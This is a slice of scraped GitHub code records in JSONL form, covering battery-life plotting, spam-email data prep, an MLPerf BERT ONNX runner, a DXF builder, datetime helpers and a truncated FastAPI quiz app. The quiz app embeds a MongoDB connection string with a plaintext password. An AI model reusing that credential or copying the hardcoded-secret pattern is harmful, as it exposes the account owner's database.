'1-5', '7-3', '10-2', '5-5', '9-2', '5-6',\n '1-7',\n '8-3', '4-1', '4-2', '1-4', '6-5', ]\nnew_test = ['9-6', '4-5', '1-2', '10-7', '1-1', '6-1', '6-6', '9-4', '10-4', '8-5', '5-3', '10-6',\n '2-5', '6-2', '3-1', '8-8', '8-1', '8-6', '7-6', '6-8', '7-5', '10-1']\n\nfor batteryname in new_train + new_valid:\n name = 'our_data/' + batteryname + 'v4.npy'\n rul = 'our_data/' + batteryname + '_rulv4.npy'\n a0 = np.load(name, allow_pickle=True)\n ruls = np.load(rul, allow_pickle=True)\n ratio = 1 / 1.2\n # print(ruls[-1])\n # newruls = change_ruls(ruls, ratio)\n # print(newruls)\n seqlen = a0.shape[0]\n\n data, allrul = filter_out_training_extremes(a0, ruls, threshold=0.05)\n data = data / 1000 * 1190\n print(allrul)\n sohs = data[:, 0]\n newdata, newrul = interp([i for i in range(data.shape[0])], data,\n int(ratio * data.shape[0]), allrul)\n newdata = newdata / 1000 * 1190\n print(newrul)\n # if data.shape[0] != allrul.shape[0]:\n # print('error')\n # else:\n # print(data.shape, allrul.shape)\n\n plt.plot([i for i in range(len(data))], data[:, 0], )\n # plt.plot([i for i in range(len(newdata))], newdata[:, 0], )\nplt.show()\nexit(0)\nfor displayidx in range(0, 1):\n for batteryname in metadata[0] + metadata[1]:\n name = 'ne_data/' + batteryname + 'v3.npy'\n rul = 'ne_data/' + batteryname + '_rulv3.npy'\n a0 = np.load(name, allow_pickle=True)\n ruls = np.load(rul, allow_pickle=True)\n print(ruls)\n seqlen = a0.shape[0]\n # a0 = a0.T\n # if seqlen >= 500:\n # data = filter_out_training_extremes(a0[:500], threshold=0.05)\n # plt.plot([i for i in range(len(data))], data[:, 0], )\n # else:\n data, allrul = filter_out_training_extremes(a0, ruls, threshold=0.05)\n if data.shape[0] != allrul.shape[0]:\n print('error')\n else:\n print(data.shape, allrul.shape)\n\n plt.plot([i for i in range(len(data))], data[:, displayidx], )\n plt.savefig('train.jpg')\n plt.show()\n\n\n # for batteryname in metadata[0] + metadata[1]:\n # name = 'ne_data/'+batteryname+'v3.npy'\n # a0 = np.load(name, allow_pickle=True)\n # seqlen = a0.shape[0]\n # # a0 = a0.T\n # if seqlen >= 500:\n # plt.plot([i for i in range(500)], filter_out_training_extremes(a0[:, 0][:500], threshold=0.1))\n # # print(a0[0:20, 0])\n # plt.show()\n\n for batteryname in metadata[2]:\n name = 'ne_data/' + batteryname + 'v3.npy'\n a0 = np.load(name, allow_pickle=True)\n seqlen = a0.shape[0]\n # a0 = a0.T\n plt.plot([i for i in range(seqlen)], a0[:, displayidx])\n # print(a0[0][0:5])\n\n plt.savefig('test.jpg')\n plt.show()\n","repo_name":"wenh18/rul_prediction","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":6545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33320347414","text":"import pandas as pd\nimport numpy as np\n\ndata = pd.read_csv(r'emails.csv')\n\nprint(data.head())\n\nones = []\nones_data = []\nzeros = []\nzeros_data = []\n\nprint(data['spam'][0])\n\nfor i in range(3000):\n\n if (data['spam'][i]) == \"1\":\n ones.append(1)\n ones_data.append(data['text'][i])\n elif (data['spam'][i]) == \"0\":\n zeros.append(0)\n zeros_data.append(data['text'][i])\n\n#print(len(ones), len(ones_data), len(zeros), len(zeros_data))\n\nemail_set = []\nemail_label = []\n\nfor i in range(1368):\n email_set.append(ones_data[i])\n email_label.append(ones[i])\n email_set.append(zeros_data[i])\n email_label.append(zeros[i])\n\n# print(len(email_set), len(email_label))\n\n# print(email_set[0:3], email_label[0:3])\n\ndf = pd.DataFrame({'text': email_set, 'spam': email_label})\n\ndf.to_csv('emaildata.csv')\n","repo_name":"praatibhsurana/DWDM-Project","sub_path":"mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"21799230747","text":"import multiprocessing\nimport threading\nimport subprocess\nimport time\nimport datetime\nimport os\nimport sys\nimport argparse\nimport array\nimport logging\n\nimport numpy as np\nimport mlperf_loadgen as lg\nimport onnxruntime as ort\n\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger(\"ONNX-RUNTIME-DYNAMIC-SHAPE-BERT\")\n\nnum_cpus = 28\nnum_ins = 2\nNANO_SEC = 1e9\nMILLI_SEC = 1000\n\nin_queue_cnt = 0\nout_queue_cnt = 0\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--scenario\", choices=[\"Offline\", \"Server\"], default=\"Offline\", help=\"Scenario\")\n parser.add_argument(\n \"--batching\", choices=[\"Dynamic\", \"NaiveBucket\"], default=\"Adaptive\", help=\"Batching method\")\n parser.add_argument(\"--batch-size\", default=1, type=int, help=\"batch_size\")\n parser.add_argument(\"--num-instance\", default=2,\n type=int, help=\"number of instance\")\n parser.add_argument(\"--num-phy-cpus\", default=28,\n type=int, help=\"number of physical cpus\")\n parser.add_argument(\"--vocab\", default='converted_from_tf_to_mxnet/tf.vocab',\n type=str, help=\"vocab file path\")\n parser.add_argument(\"--params\", default='converted_from_tf_to_mxnet/tf_fp32.params',\n type=str, help=\"FP32 params path\")\n parser.add_argument(\"--quantized_model_prefix\",\n default='converted_from_tf_to_mxnet/offline_model/model_bert_squad_quantized_customize',\n type=str, help=\"quantized model prefix\")\n parser.add_argument(\"--accuracy\", action=\"store_true\",\n help=\"enable accuracy pass\")\n parser.add_argument(\"--quantized\", action=\"store_true\",\n help=\"use quantized model\")\n parser.add_argument(\"--mlperf-conf\", default=\"./conf/mlperf.conf\",\n help=\"mlperf rules config\")\n parser.add_argument(\"--user-conf\", default=\"./conf/user.conf\",\n help=\"user rules config\")\n parser.add_argument(\"--perf-count\", default=None, help=\"perf count\")\n parser.add_argument(\"--profile\", action=\"store_true\",\n help=\"whether enable profiler\")\n parser.add_argument(\"--perf_calibrate\", action=\"store_true\",\n help=\"whether do performance calibration\")\n parser.add_argument(\"--log-dir\", default=\"build/logs\",\n help=\"log file directory\")\n parser.add_argument(\n \"--path_to_model\", default=\"dynamic_bert_opt1.onnx\", help=\"onnx model path\")\n parser.add_argument(\n \"--dataset\", default=\"dev-v1.1.json\", help=\"dataset path\")\n args = parser.parse_args()\n return args\n\n\nscenario_map = {\n \"Offline\": lg.TestScenario.Offline,\n \"Server\": lg.TestScenario.Server,\n}\n\n\ndef load_query_samples(sample_list):\n # This is model specific place holder\n pass\n\n\ndef unload_query_samples(sample_list):\n # This is model specific place holder\n pass\n\n\ndef block_until(counter, num_ins, t=1):\n while counter.value < num_ins:\n time.sleep(t)\n\n\nclass Consumer(multiprocessing.Process):\n def __init__(self, task_queue, result_queue, lock, init_counter, calibrate_counter, proc_idx, world_size, args):\n multiprocessing.Process.__init__(self)\n global num_ins\n self.task_queue = task_queue\n self.result_queue = result_queue\n self.lock = lock\n self.init_counter = init_counter\n self.calibrate_counter = calibrate_counter\n self.proc_idx = proc_idx\n self.world_size = world_size\n self.args = args\n self.affinity = range(round(proc_idx * num_cpus / num_ins),\n round((proc_idx + 1) * num_cpus / num_ins))\n self.start_core_idx = proc_idx * num_cpus // num_ins\n self.end_core_idx = (proc_idx + 1) * num_cpus // num_ins - 1\n self.length_list = {}\n self.length_time_list = {}\n\n def run(self):\n global batching\n cmd = \"taskset -p -c %d-%d %d\" % (self.start_core_idx,\n self.end_core_idx, self.pid)\n print(cmd)\n os.system(cmd)\n\n os.environ['OMP_NUM_THREADS'] = '{}'.format(\n self.end_core_idx-self.start_core_idx+1)\n\n model = BERTModel(self.args.path_to_model)\n data_set = BERTDataSet(self.args.dataset, self.args.perf_count)\n\n self.lock.acquire()\n self.calibrate_counter.value += 1\n self.lock.release()\n\n block_until(self.calibrate_counter, self.world_size)\n\n self.lock.acquire()\n self.calibrate_counter.value += 1\n self.lock.release()\n\n self.lock.acquire()\n self.init_counter.value += 1\n self.lock.release()\n\n cur_step = 0\n start_step = 384\n end_step = -1\n while True:\n\n next_task = self.task_queue.get(self.proc_idx)\n if next_task is None:\n # None means shutdown\n log.info(\n 'Exiting {}-pid:{}, cur_step={}'.format(self.name, self.pid, cur_step))\n self.task_queue.task_done()\n break\n\n query_id_list = next_task.query_id_list\n sample_index_list = next_task.sample_index_list\n inputs_list = []\n token_types_list = []\n valid_length_list = []\n for sample_index in sample_index_list:\n eval_feature = data_set.eval_features[sample_index]\n inputs, token_types, valid_length = eval_feature\n inputs_list.append(inputs)\n token_types_list.append(token_types)\n valid_length_list.append(valid_length)\n\n input_ids = np.array(inputs_list, dtype=np.int64)\n input_mask = np.array(token_types_list, dtype=np.int64)\n segment_ids = np.array(valid_length_list, dtype=np.int64)\n\n # print('progressing batch {} length {}'.format(\n # len(input_ids), len(inputs)))\n\n print(input_ids.shape, input_mask.shape, segment_ids.shape)\n\n out = model.net.run(None, {\n 'input_ids': input_ids, 'input_mask': input_mask, 'segment_ids': segment_ids})\n\n out = np.concatenate((out[0].reshape(*out[0].shape, 1),\n out[1].reshape(*out[1].shape, 1)), axis=2)\n '''\n out = np.ndarray([len(input_ids), len(inputs), 2], dtype='float32')\n '''\n result = Output(query_id_list, out)\n self.result_queue.put(result)\n self.task_queue.task_done()\n\n\nclass Input(object):\n def __init__(self, id_list, index_list, sample_length_list):\n assert isinstance(id_list, list)\n assert isinstance(index_list, list)\n assert isinstance(sample_length_list, list)\n assert len(id_list) == len(index_list)\n self.query_id_list = id_list\n self.sample_index_list = index_list\n self.sample_length_list = sample_length_list\n\n\nclass Output(object):\n def __init__(self, query_id_list, result):\n self.query_id_list = query_id_list\n self.result = result\n\n\nclass InQueue():\n def __init__(self, in_queue, batch_size, data_set):\n self.in_queue = in_queue\n self.batch_size = batch_size\n self.query_id_list = []\n self.sample_index_list = []\n self.sample_length_list = []\n self.index = 0\n self.data_set = data_set\n\n def put(self, query_samples):\n global in_queue_cnt\n ##TODO, debug\n idx = [q.index for q in query_samples]\n query_id = [q.id for q in query_samples]\n query_len = len(query_samples)\n\n num_samples = len(query_samples)\n\n def idx_len(e):\n idx = e.index\n feature = self.data_set.eval_features[idx]\n inputs, _, _ = feature\n return len(inputs)\n\n if num_samples == 1:\n if self.batch_size == 1:\n in_queue_cnt += 1\n self.in_queue.put(Input([query_samples[0].id],\n [query_samples[0].index],\n [idx_len(query_samples[0])]))\n else:\n self.index += 1\n if self.index < self.batch_size:\n self.query_id_list.append(query_samples[0].id)\n self.sample_index_list.append(query_samples[0].index)\n self.sample_length_list.append(idx_len(query_samples[0]))\n else:\n self.query_id_list.append(query_samples[0].id)\n self.sample_index_list.append(query_samples[0].index)\n self.sample_length_list.append(idx_len(query_samples[0]))\n self.in_queue.put(\n Input(self.query_id_list, self.sample_index_list, self.sample_length_list))\n in_queue_cnt += self.batch_size\n self.index = 0\n self.query_id_list = []\n self.sample_index_list = []\n self.sample_length_list = []\n else:\n\n query_samples.sort(key=idx_len, reverse=True)\n\n def enqueue_batch(cur_batch_size, base_index=0):\n global in_queue_cnt\n id_list = []\n index_list = []\n length_list = []\n for i in range(cur_batch_size):\n id_list.append(query_samples[base_index + i].id)\n index_list.append(query_samples[base_index + i].index)\n length_list.append(idx_len(query_samples[base_index + i]))\n self.in_queue.put(Input(id_list, index_list, length_list))\n in_queue_cnt += cur_batch_size\n\n global batching\n true_total_len = 0\n total_len = 0\n for i in range(num_samples):\n true_total_len += idx_len(query_samples[i])\n if batching == 'Dynamic':\n batch_seq_len = None\n base_index = 0\n num_batches = 0\n while base_index < num_samples:\n base_len = idx_len(query_samples[base_index])\n for i in range(base_index, num_samples):\n current_len = base_len * (i-base_index+1)\n if i+1 < num_samples:\n next_len = base_len * (i+1-base_index+1)\n if next_len > batch_seq_len:\n if next_len - batch_seq_len > batch_seq_len - current_len:\n next_index = i+1\n else:\n next_index = i+2\n break\n else:\n next_index = i+1\n break\n total_len += base_len * (next_index-base_index)\n enqueue_batch(next_index-base_index, base_index)\n num_batches += 1\n # print('pid-{2}: enqueue bs={0} and input volume {1}...'\n # .format(next_index-base_index, current_len, os.getpid()))\n base_index = next_index\n print('pid-{1}: enqueued {0} batches, pad ratio = {2}%'\n .format(num_batches, os.getpid(), (total_len-true_total_len)*100/true_total_len))\n elif batching == 'NaiveBucket':\n bucket_stats = {}\n for q in query_samples:\n leng = idx_len(q)\n if leng not in bucket_stats:\n bucket_stats[leng] = [[q.id], [q.index]]\n else:\n bucket_stats[leng][0].append(q.id)\n bucket_stats[leng][1].append(q.index)\n\n for leng in sorted(bucket_stats.keys(), reverse=True):\n id_list, index_list = bucket_stats[leng]\n batch_size = len(id_list)\n length_list = [leng] * len(id_list)\n if batch_size > 3000:\n step_batch = 256\n for i in range(0, batch_size, step_batch):\n id_list_step = id_list[i: i+step_batch]\n index_list_step = index_list[i: i+step_batch]\n length_list_step = [leng] * len(id_list_step)\n self.in_queue.put(\n Input(id_list_step, index_list_step, length_list_step))\n in_queue_cnt += len(id_list_step)\n else:\n self.in_queue.put(\n Input(id_list, index_list, length_list))\n in_queue_cnt += len(id_list)\n # print(in_queue_cnt)\n\n elif batching == 'Fixed':\n num_batch = num_samples // self.batch_size\n remaining_batch = num_samples % self.batch_size\n ## TODO, remove\n print('pid-{3}: split the datasets into {0} batches with bs={1} and remaining {2}...'\n .format(num_batch, self.batch_size, remaining_batch, os.getpid()))\n\n for b in range(num_batch):\n base_index = b * self.batch_size\n enqueue_batch(self.batch_size, base_index)\n\n if remaining_batch > 0:\n base_index = num_batch * self.batch_size\n enqueue_batch(remaining_batch, base_index)\n\n else:\n raise('Unknown batching method {}'.format(batching))\n\n #print ('in_queue_cnt=', in_queue_cnt)\n\n\ndef flush_queries():\n pass\n\n\ndef process_latencies(latencies_ns):\n # It's called by loadgen to show us the recorded latencies\n log.info(\"Average latency (ms) per query:\")\n log.info(np.mean(latencies_ns)/1000000.0)\n log.info(\"Median latency (ms): \")\n log.info(np.percentile(latencies_ns, 50)/1000000.0)\n log.info(\"90 percentile latency (ms): \")\n log.info(np.percentile(latencies_ns, 90)/1000000.0)\n\n\ndef response_loadgen(out_queue):\n global out_queue_cnt\n while True:\n next_task = out_queue.get()\n if next_task is None:\n # None means shutdown\n log.info('Exiting response thread')\n break\n query_id_list = next_task.query_id_list\n result = next_task.result\n\n batch_size = len(query_id_list)\n result.reshape(batch_size, -1, 2)\n\n out_list = np.split(result, batch_size, axis=0)\n #responses = []\n for i, o in enumerate(out_list):\n response_array = array.array(\n \"B\", np.array(o).astype(np.float32).tobytes())\n bi = response_array.buffer_info()\n responses = [lg.QuerySampleResponse(\n query_id_list[i], bi[0], bi[1])]\n out_queue_cnt += 1\n #print('Response loadgen ({}), query_id {}, out_queue_cnt {}'.format(os.getpid(), query_id_list[i], out_queue_cnt))\n lg.QuerySamplesComplete(responses)\n print('progressing over: {}/{}, batch {} length {}'.format(out_queue_cnt,\n in_queue_cnt, batch_size, result.shape[1]))\n\n # lg.QuerySamplesComplete(responses)\n\n\nclass BERTModel:\n def __init__(self, path_to_model):\n self.net = ort.InferenceSession(path_to_model, providers=[\n 'DnnlExecutionProvider', 'CPUExecutionProvider'])\n\n\nclass BERTDataSet:\n def __init__(self, data_path, perf_count):\n import torch\n dataset = torch.load(data_path)\n feature_names = ['input_ids_samples',\n 'input_mask_samples', 'segment_ids_samples']\n\n self.eval_features = [[dataset[fn][i].numpy() for fn in feature_names]\n for i in range(len(dataset[feature_names[0]]))]\n self.count = len(self.eval_features)\n self.perf_count = perf_count if perf_count is not None else self.count\n\n\nclass MultiprocessShapeBasedQueue(object):\n def __init__(self):\n global num_ins\n self._jq = multiprocessing.JoinableQueue()\n self._instances_queue = [multiprocessing.Queue()\n for _ in range(num_ins)]\n self._manager = multiprocessing.Manager()\n self.shape_in_instance = self._manager.dict()\n self.finish_status = self._manager.dict()\n\n def get(self, instance_id):\n return self._jq.get()\n\n def put(self, obj, block=True, timeout=None):\n return self._jq.put(obj, block, timeout)\n ##print(\"end put\")\n\n def task_done(self):\n # print(\"task_done\")\n return self._jq.task_done()\n #print(\"end task_done\")\n\n def join(self):\n # print(\"join\")\n return self._jq.join()\n #print(\"end join\")\n\n\ndef main():\n global num_ins\n global num_cpus\n global in_queue_cnt\n global out_queue_cnt\n global batching\n\n args = get_args()\n log.info(args)\n scenario = args.scenario\n accuracy_mode = args.accuracy\n perf_count = args.perf_count\n batch_size = args.batch_size\n num_ins = args.num_instance\n num_cpus = args.num_phy_cpus\n batching = args.batching\n\n log.info('Run with {} instance on {} cpus: '.format(num_ins, num_cpus))\n\n # Establish communication queues\n lock = multiprocessing.Lock()\n init_counter = multiprocessing.Value(\"i\", 0)\n calibrate_counter = multiprocessing.Value(\"i\", 0)\n out_queue = multiprocessing.Queue()\n in_queue = MultiprocessShapeBasedQueue()\n\n # Start consumers\n consumers = [Consumer(in_queue, out_queue, lock, init_counter, calibrate_counter, i, num_ins, args)\n for i in range(num_ins)]\n for c in consumers:\n c.start()\n\n # used by constructQSL\n data_set = BERTDataSet(args.dataset, args.perf_count)\n issue_queue = InQueue(in_queue, batch_size, data_set)\n\n # Wait until all sub-processors ready to do calibration\n block_until(calibrate_counter, num_ins)\n # Wait until all sub-processors done calibration\n block_until(calibrate_counter, 2*num_ins)\n # Wait until all sub-processors are ready\n block_until(init_counter, num_ins)\n\n # Start response thread\n response_worker = threading.Thread(\n target=response_loadgen, args=(out_queue,))\n response_worker.daemon = True\n response_worker.start()\n\n # Start loadgen\n settings = lg.TestSettings()\n settings.scenario = scenario_map[scenario]\n settings.FromConfig(args.mlperf_conf, \"bert\", scenario)\n settings.FromConfig(args.user_conf, \"bert\", scenario)\n settings.mode = lg.TestMode.AccuracyOnly if accuracy_mode else lg.TestMode.PerformanceOnly\n\n def issue_queries(query_samples):\n # It's called by loadgen to send query to SUT\n issue_queue.put(query_samples)\n\n sut = lg.ConstructSUT(\n issue_queries, flush_queries, process_latencies)\n qsl = lg.ConstructQSL(\n data_set.count, data_set.perf_count, load_query_samples, unload_query_samples)\n\n log_path = os.path.join(args.log_dir, str(datetime.datetime.now()))\n if not os.path.exists(log_path):\n os.makedirs(log_path)\n log_output_settings = lg.LogOutputSettings()\n log_output_settings.outdir = log_path\n log_output_settings.copy_summary_to_stdout = True\n log_settings = lg.LogSettings()\n log_settings.log_output = log_output_settings\n #lg.StartTest(sut, qsl, settings)\n lg.StartTestWithLogSettings(sut, qsl, settings, log_settings)\n\n # Wait until outQueue done\n while out_queue_cnt < in_queue_cnt:\n time.sleep(0.2)\n\n in_queue.join()\n\n for i in range(num_ins):\n in_queue.put(None)\n\n for c in consumers:\n c.join()\n\n out_queue.put(None)\n\n lg.DestroyQSL(qsl)\n lg.DestroySUT(sut)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Adlik/mlperf_benchmark","sub_path":"bert/run_ort.py","file_name":"run_ort.py","file_ext":"py","file_size_in_byte":19908,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"71252173848","text":"from enum import Enum\nfrom pathlib import Path\nfrom typing import List, TypedDict, Optional, Union\n\nimport ezdxf\nfrom ezdxf.document import Drawing\nfrom ezdxf.layouts import Modelspace\n\n\nclass StrEnum(str, Enum):\n ...\n\n\nclass ShapeType(StrEnum):\n POLYLINE = \"lines\"\n ARC = \"arc\"\n MESH = \"mesh\"\n RECT = \"rectangle\"\n\n\nclass GenericShapeProps:\n is_closed: bool\n color: int\n pattern_name: Optional[str]\n\n def __init__(self,\n is_closed: bool,\n color: int,\n pattern_name: Optional[str]):\n self.is_closed = is_closed\n self.color = color\n self.pattern_name = pattern_name\n\n\nclass Shape(TypedDict):\n type: str\n xy_data: dict\n shape_specific_data: Optional[dict]\n hatch: bool\n\n\nclass DxfBuilder:\n drawing: Drawing\n msp: Modelspace\n shapes: List[Shape]\n\n def __init__(self,\n shape: Union[List[Shape], Shape],\n dxfversion: str = ezdxf.DXF2013):\n if not isinstance(shape, list):\n shape = [shape]\n\n self.shapes = shape\n self.drawing = ezdxf.new(dxfversion)\n self.msp = self.drawing.modelspace()\n\n def __build_drawing(self) -> Drawing:\n for shape in self.shapes:\n shape: Shape\n shape_type = shape.get(\"type\")\n\n if ShapeType.POLYLINE == shape_type:\n self.__add_lines_shape(shape)\n if ShapeType.ARC == shape_type:\n self.__add_arc_shape(shape)\n if ShapeType.MESH == shape_type:\n self.__add_mesh_shape(shape)\n if ShapeType.RECT == shape_type:\n self.__add_polygon_shape(shape)\n\n return self.drawing\n\n def __add_polygon_shape(self, shape: Shape) -> None:\n shape_props = self.__get_generic_shape_props(shape)\n\n hatch = self.msp.add_hatch(color=shape_props.color)\n\n if shape_props.pattern_name is not None:\n hatch.set_pattern_fill(name=shape_props.pattern_name, color=shape_props.color)\n\n hatch.paths.add_polyline_path(\n path_vertices=self.__get_shape_vertices(shape),\n is_closed=shape_props.is_closed\n )\n\n def __add_mesh_shape(self, shape: Shape) -> None:\n shape_props = self.__get_generic_shape_props(shape)\n\n mesh = self.msp.add_mesh(dxfattribs=dict(\n color=shape_props.color\n ))\n\n with mesh.edit_data() as mesh_data:\n mesh_data.vertices = self.__get_shape_vertices(shape)\n mesh_data.faces = shape.get(\"shape_specific_data\", dict()).get(\"faces\", [])\n\n def __add_arc_shape(self, shape: Shape) -> None:\n shape_props = shape.get(\"shape_specific_data\", dict())\n generic_shape_props = self.__get_generic_shape_props(shape)\n\n center = shape.get(\"xy_data\").get(\"xy\")\n radius = float(shape_props.get(\"radius\", 1.0))\n start_angle = float(shape_props.get(\"start_angle\", 0.0))\n end_angle = float(shape_props.get(\"angle\", 360.0))\n\n if shape.get(\"hatch\"):\n hatch = self.msp.add_hatch(color=generic_shape_props.color)\n\n if generic_shape_props.pattern_name is not None:\n hatch.set_pattern_fill(name=generic_shape_props.pattern_name, color=generic_shape_props.color)\n\n edge_path = hatch.paths.add_edge_path()\n\n edge_path.add_arc(\n center=center,\n radius=radius,\n start_angle=start_angle,\n end_angle=end_angle\n )\n\n return\n\n self.msp.add_arc(\n center=center,\n radius=radius,\n start_angle=start_angle,\n end_angle=end_angle,\n dxfattribs=dict(\n color=generic_shape_props.color\n )\n )\n\n def __add_lines_shape(self, shape: Shape) -> None:\n\n shape_props = self.__get_generic_shape_props(shape)\n\n if shape.get(\"hatch\"):\n hatch = self.msp.add_hatch()\n hatch.paths.add_polyline_path(\n path_vertices=self.__get_shape_vertices(shape),\n is_closed=shape_props.is_closed,\n )\n\n return\n\n self.msp.add_polyline2d(\n points=self.__get_shape_vertices(shape),\n close=shape_props.is_closed,\n )\n\n @staticmethod\n def __get_generic_shape_props(shape: Shape) -> GenericShapeProps:\n shape_props = shape.get(\"shape_specific_data\", dict())\n\n return GenericShapeProps(\n is_closed=bool(shape_props.get(\"is_closed\", True)),\n color=int(shape_props.get(\"color\", 7)),\n pattern_name=shape_props.get(\"pattern_name\"),\n )\n\n @staticmethod\n def __get_shape_vertices(shape: Shape) -> list:\n return list(shape.get(\"xy_data\").values())\n\n def get_doc(self) -> Drawing:\n self.__build_drawing()\n\n return self.drawing\n\n def saveas(self, filename: Union[str, Path]):\n doc = self.__build_drawing()\n\n doc.saveas(filename)\n","repo_name":"jrflack/dxf-builder","sub_path":"src/dxf_builder.py","file_name":"dxf_builder.py","file_ext":"py","file_size_in_byte":5023,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"20073853981","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@version: 1.0\n@author: guu\n@contact: yeexiao@yeah.net\n@time: 7/8/17 9:24 PM\n\"\"\"\n\nimport time\nfrom datetime import datetime\nimport sys\n\nfrom pytz import timezone\n\ntimezone = timezone(\"Asia/Shanghai\")\n\n\nclass DateTimeUtils(object):\n \"\"\" Datetime utils\n\n \"\"\"\n\n @classmethod\n def get_current_timestamp(cls):\n \"\"\" 获得当前时间戳\n :return:\n \"\"\"\n return int(time.time())\n\n @classmethod\n def get_current_datestamp(cls):\n \"\"\" 获得当前日期时间戳\n :return:\n \"\"\"\n date_string = cls.get_formatted_datetime_string(cls.get_current_timestamp(), fmt=\"%Y-%m-%d\")\n return cls.get_timestamp(date_string, fmt=\"%Y-%m-%d\")\n\n @classmethod\n def get_timestamp(cls, time_string: str, fmt: str):\n \"\"\" 获得给定的时间字符串,获得相应的时间戳\n :param time_string: 时间字符串\n :param fmt:\n :return:\n \"\"\"\n return int(time.mktime(time.strptime(time_string, fmt)))\n\n @classmethod\n def get_current_formatted_datetime_string(cls, fmt=\"%Y-%m-%d %H:%M:%S\"):\n \"\"\" 获得当前日期时间的格式化的字符串\n :param fmt:\n :return:\n \"\"\"\n return datetime.now(timezone).strftime(fmt)\n\n @classmethod\n def get_formatted_datetime_string(cls, timestamp: int, fmt=\"%Y-%m-%d %H:%M:%S\"):\n \"\"\" 解析给定的时间戳,获得相应的时间字符串\n :param timestamp:\n :param fmt:\n :return:\n \"\"\"\n return time.strftime(fmt, time.localtime(timestamp))\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n exit(\"参数有误\")\n\n function = sys.argv[1]\n if function == \"-h\":\n print(\"datetime utils\\n\"\n \"1. 获取当前时间戳:python3 datetime_utils.py current_ts \\n\"\n \"2. 获取当前日期的时间戳:python3 datetime_utils.py current_ds \\n\"\n \"3. 获取指定日期的时间戳:python3 datetime_utils.py ts '2017-10-08 12:10:23' '%Y-%m-%d %H:%M:%S' \\n\"\n \"4. 格式化当前时间:python3 datetime_utils.py format_current_datetime ['%Y-%m-%d'] \\n\"\n \"5. 格式化指定时间:python3 datetime_utils.py format_given_datetime 1507435823 ['%Y-%m-%d']\")\n if function == \"current_ts\":\n # 当前时间戳 python3 datetime_utils.py current_ts\n print(\"当前时间戳:%d\" % DateTimeUtils.get_current_timestamp())\n elif function == \"current_ds\":\n # 当前日期时间戳 python3 datetime_utils.py current_ds\n print(\"当前日期的时间戳:%d\" % DateTimeUtils.get_current_datestamp())\n elif function == \"ts\":\n # 时间戳 python3 datetime_utils.py ts \"2017-10-08 12:10:23\" \"%Y-%m-%d %H:%M:%S\"\n if len(sys.argv) < 4:\n exit(\"参数有误\")\n time_string = sys.argv[2]\n fmt = sys.argv[3]\n print(\"%s的时间戳:%d\" % (time_string, DateTimeUtils.get_timestamp(time_string=time_string, fmt=fmt)))\n elif function == \"format_current_datetime\":\n # 格式化当前时间戳\n if len(sys.argv) == 3:\n fmt = sys.argv[2]\n print(\"当前时间为:%s\" % DateTimeUtils.get_current_formatted_datetime_string(fmt=fmt))\n else:\n print(\"当前时间为:%s\" % DateTimeUtils.get_current_formatted_datetime_string())\n elif function == \"format_given_datetime\":\n if len(sys.argv) < 3:\n exit(\"参数有误\")\n timestamp = int(sys.argv[2])\n if len(sys.argv) == 4:\n fmt = sys.argv[3]\n print(\"%d的格式化时间为:%s\" % (timestamp, DateTimeUtils.get_formatted_datetime_string(timestamp=timestamp, fmt=fmt)))\n else:\n print(\"%d的格式化时间为:%s\" % (timestamp, DateTimeUtils.get_formatted_datetime_string(timestamp=timestamp)))\n","repo_name":"pg815/Intrusion_Detection_Using_Face_Recognition","sub_path":"venv/Lib/site-packages/boost_py/datetime_utils.py","file_name":"datetime_utils.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"43690832720","text":"#!/usr/bin/env python\n\nimport xml.etree.ElementTree as ET\n\nwith open(\"searchgui_mods.loc.sample\", \"w\") as output:\n for mods_path in [\"searchGUI_mods.xml\", \"searchGUI_usermods.xml\"]:\n tree = ET.parse(mods_path)\n modifications_el = tree.getroot()\n for mod in modifications_el.findall(\"{http://www.ncbi.nlm.nih.gov}MSModSpec\"):\n name_el = mod.find(\"{http://www.ncbi.nlm.nih.gov}MSModSpec_name\")\n output.write(\"%s\\n\" % name_el.text.lower())\n","repo_name":"galaxyproteomics/tools-galaxyp","sub_path":"tools/peptideshaker/admin_scripts/build_mods_loc.py","file_name":"build_mods_loc.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"31"} +{"seq_id":"38420337325","text":"from array import array\nfrom fastapi import FastAPI, Request\nfrom fastapi.middleware.cors import CORSMiddleware\nimport pymongo\nimport json\nimport random\nfrom typing import List\nfrom typing import Optional\n\nfrom fastapi import Query\n\nfrom pymongo import cursor\nclient = pymongo.MongoClient(\n \"mongodb+srv://adming:0WatQ33l94AUHYp4@victorinazhivotnie.wkqdr.mongodb.net/myFirstDatabase?retryWrites=true&w=majority\")\ndb = client[\"victorinaZhivotnie\"]\n\napp = FastAPI()\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\n@app.get(\"/nameById\")\nasync def getnameById(id: int):\n res = []\n cursor = db.question\n for i in cursor.find({'id': id}):\n res.append({\"name\": i['name']})\n return res\n\n\ndef Convert(string):\n li = list(string.split(\",\"))\n res = []\n for i in li:\n res.append(int(i))\n return res\n\n\n@app.get(\"/randomAnimal\")\nasync def getRandomAnimal(solvedQuestions: str):\n listnumbers = []\n if solvedQuestions != \"\":\n listnumbers = Convert(solvedQuestions)\n print(listnumbers)\n\n count = db.question.count() - 1\n\n r = list(range(0, count))\n\n for i in listnumbers:\n r.remove(i)\n\n # random_index = int(random.randint(0, count))\n # print(\"COUNT\", count)\n result = {}\n # print(\"random_index\", random_index)\n\n response = db.question.find_one({\"id\": random.choice(r)})\n 